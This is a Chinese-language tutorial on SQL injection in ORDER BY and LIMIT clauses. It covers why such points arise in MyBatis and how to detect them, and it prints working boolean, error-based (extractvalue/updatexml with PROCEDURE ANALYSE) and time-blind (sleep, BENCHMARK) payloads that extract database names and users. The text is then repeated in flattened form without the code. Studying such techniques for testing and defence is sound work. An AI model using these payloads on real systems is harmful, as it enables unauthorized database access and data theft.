SQL特殊位置注入:order注入和limit注入
字数 1048 2025-08-10 13:48:29

SQL特殊位置注入:ORDER BY与LIMIT注入技术详解

前言

SQL注入通常出现在WHERE子句中,但ORDER BY和LIMIT这两个特殊位置的注入也日益常见。由于语法限制,这些位置的注入技术与其他位置有所不同。本文将详细分析这两种特殊位置的注入技术。

SQL语法基础

SQL语法顺序

SELECT [DISTINCT] FROM JOIN (LEFT JOIN) ON WHERE GROUP BY HAVING UNION ORDER BY LIMIT

SQL执行顺序

  1. FROM
  2. ON
  3. JOIN
  4. WHERE
  5. GROUP BY
  6. 聚合函数(SUM, COUNT, MAX, MIN, AVG)
  7. HAVING
  8. SELECT
  9. DISTINCT
  10. UNION
  11. ORDER BY
  12. LIMIT

每个步骤产生一个虚拟表作为下一步的输入,只有最后一步生成的表会返回给调用者。

常见SQL注入检测方式

  1. 布尔注入
  2. 报错注入
  3. 延时注入
  4. 多语句注入(堆叠注入)
  5. 联合注入(UNION)
  6. 内联注入

ORDER BY注入

注入点特征

通常出现在MyBatis等框架中,开发者使用${}而非#{}时产生漏洞。

ORDER BY语法

SELECT column1, column2, ... FROM table_name ORDER BY column1, column2, ... ASC|DESC;
  • 可用字段名或数字(表示第几个字段)排序
  • 数字超过字段数会导致报错
  • 默认ASC升序,DESC降序

ORDER BY限制

  1. 不能直接跟UNION(执行顺序在UNION之后)
  2. 可跟IF(), CASE WHEN等复合语句
  3. 可跟数字或字段名

注入点检测方法

  1. 改变排序字段/方向,观察结果变化
  2. 布尔判断:
    (select (case when (3013=3014) then '' else (select 1083 union select 9794) end))
    (select (case when (3013=3013) then '' else (select 1083 union select 9794) end))
    
  3. MySQL延时判断:
    if(1=1,sleep(3),1)
    
  4. 观察报错信息

利用技术

主要使用布尔注入和延时注入,有错误回显时可使用报错注入。

常用函数:LENGTH(), SUBSTR(), ASCII()

布尔注入Payload示例

(SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>64) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))

LIMIT注入

LIMIT语法

LIMIT [位置偏移量,] 行数
  • MySQL特有,SQL Server使用TOP
  • 偏移量从0开始

LIMIT限制

  1. 前面无ORDER BY时可跟UNION
  2. 不能直接跟SELECT和IF语句
  3. 5.0.0 < MySQL < 5.6.6版本可跟PROCEDURE语句

注入点特征

SELECT * FROM limittest LIMIT 1,[可控点]
SELECT ... LIMIT [可控点]

利用技术

1. PROCEDURE ANALYSE报错注入

# extractvalue报错注入
LIMIT 1,0 PROCEDURE ANALYSE(EXTRACTVALUE(RAND(),CONCAT(0x3a,USER())),1);%23

# updatexml报错注入
LIMIT 1,0 PROCEDURE ANALYSE(UPDATEXML(1,CONCAT(0x3a,USER()),1),1);%23

2. 时间盲注

LIMIT 1,0 PROCEDURE ANALYSE((SELECT EXTRACTVALUE(RAND(),CONCAT(0x3a,(IF(MID(VERSION(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);%23

注意:不支持SLEEP,使用BENCHMARK替代

总结

  1. ORDER BY注入可利用CASE WHEN等条件语句进行布尔/延时注入
  2. LIMIT注入在特定版本可通过PROCEDURE ANALYSE实现报错/时间盲注
  3. 熟练掌握SQL语法是有效利用这些特殊位置注入的关键

参考链接

https://bingslient.github.io/2019/10/31/SQLMAP数据库注入方法和绕过技巧/#绕过技巧

SQL特殊位置注入:ORDER BY与LIMIT注入技术详解 前言 SQL注入通常出现在WHERE子句中,但ORDER BY和LIMIT这两个特殊位置的注入也日益常见。由于语法限制,这些位置的注入技术与其他位置有所不同。本文将详细分析这两种特殊位置的注入技术。 SQL语法基础 SQL语法顺序 SQL执行顺序 FROM ON JOIN WHERE GROUP BY 聚合函数(SUM, COUNT, MAX, MIN, AVG) HAVING SELECT DISTINCT UNION ORDER BY LIMIT 每个步骤产生一个虚拟表作为下一步的输入,只有最后一步生成的表会返回给调用者。 常见SQL注入检测方式 布尔注入 报错注入 延时注入 多语句注入(堆叠注入) 联合注入(UNION) 内联注入 ORDER BY注入 注入点特征 通常出现在MyBatis等框架中,开发者使用 ${} 而非 #{} 时产生漏洞。 ORDER BY语法 可用字段名或数字(表示第几个字段)排序 数字超过字段数会导致报错 默认ASC升序,DESC降序 ORDER BY限制 不能直接跟UNION(执行顺序在UNION之后) 可跟IF(), CASE WHEN等复合语句 可跟数字或字段名 注入点检测方法 改变排序字段/方向,观察结果变化 布尔判断: MySQL延时判断: 观察报错信息 利用技术 主要使用布尔注入和延时注入,有错误回显时可使用报错注入。 常用函数:LENGTH(), SUBSTR(), ASCII() 布尔注入Payload示例 LIMIT注入 LIMIT语法 MySQL特有,SQL Server使用TOP 偏移量从0开始 LIMIT限制 前面无ORDER BY时可跟UNION 不能直接跟SELECT和IF语句 5.0.0 < MySQL < 5.6.6版本可跟PROCEDURE语句 注入点特征 利用技术 1. PROCEDURE ANALYSE报错注入 2. 时间盲注 注意:不支持SLEEP,使用BENCHMARK替代 总结 ORDER BY注入可利用CASE WHEN等条件语句进行布尔/延时注入 LIMIT注入在特定版本可通过PROCEDURE ANALYSE实现报错/时间盲注 熟练掌握SQL语法是有效利用这些特殊位置注入的关键 参考链接 https://bingslient.github.io/2019/10/31/SQLMAP数据库注入方法和绕过技巧/#绕过技巧